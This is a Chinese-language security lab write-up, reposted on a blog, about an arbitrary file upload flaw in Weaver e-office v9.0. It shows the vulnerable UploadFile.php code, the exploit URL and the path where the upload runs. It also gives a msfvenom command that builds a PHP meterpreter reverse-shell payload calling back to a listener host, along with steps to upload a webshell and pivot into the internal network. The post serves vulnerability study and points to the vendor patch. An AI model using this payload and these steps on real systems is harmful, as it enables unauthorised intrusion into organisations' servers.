close

網安引領時代,彌天點亮未來



0x00寫在前面

本次測試僅供學習使用,如若非法他用,與平台和本文作者無關,需自行負責!



0x01漏洞描述

泛微e-office系統是標準、易用、快速部署上線的專業協同OA軟件,國內協同OA辦公領域領導品牌,致力於為企業用戶提供專業OA辦公系統、移動OA應用等協同OA整體解決方案。泛微e-office是泛微旗下的一款標準協同移動辦公平台。由於 e-office 未能正確處理上傳模塊中的用戶輸入,攻擊者可以通過該漏洞構造惡意的上傳數據包,最終實現任意代碼執行。



0x02漏洞影響

泛微 e-office v9.0


0x03漏洞分析

問題代碼在/general/index/UploadFile.php文件中,具體位置是

if ($uploadType == "eoffice_logo") { $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/"; if (!file_exists($targetPath)) { mkdir($targetPath, 511, true); } $ext = $this->getFileExtension($_FILES['Filedata']['name']); //將上傳的文件尾綴傳給變量$ext $_targetFile = "logo-eoffice" . $ext; //將上傳的文件名改為logo-eoffice.$ext $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile; //將['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的『//』替換為'/' if (move_uploaded_file($tempFile, $targetFile)) { $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'"; $result = exequery($connection, $query); $row = mysql_fetch_array($result); $param1 = $param2 = false; if (!$row) { $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')"; $param1 = exequery($connection, $query); } else { $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'"; $param1 = exequery($connection, $query); } //這段代碼就是判斷文件是否上傳成功,如果成功了就更新數據庫中的內容 $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'"; $result = exequery($connection, $query); $row = mysql_fetch_array($result); if (!$row) { $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')"; $param2 = exequery($connection, $query); } else { $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'"; $param2 = exequery($connection, $query); } if ($param1 && $param2) { echo $_targetFile; //上傳成功後就輸出文件名 } else { echo 0; } } else { echo 0; }}

存在漏洞的源代碼位置,主要是源於 uploadType 參數設為 eoffice_logo 時,對文件沒有校驗,導致任意文件上傳。



0x04漏洞復現

漏洞地址

/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=

漏洞解析地址

/images/logo/logo-eoffice.php

搭建漏洞環境

http://192.168.86.7:8082/login.php

默認用戶admin 密碼為空

漏洞利用msfvenom工具生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12399 R > yunzui.php

上傳生成的webshell到目標服務器

測試發現該環境可以解析(php、php3、php4)

測試函數:<?php phpinfo();?>

反彈shell上傳

設置監聽

解析文件獲取反向shell

內網滲透



0x05修復建議

廠商已提供漏洞修補方案,建議用戶下載使用:

http://v10.e-office.cn/eoffice9update/safepack.zip


知識分享完了

喜歡別忘了關注我們哦~

學海浩茫,
予以風動,
必降彌天之潤!

彌 天

安全實驗室

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()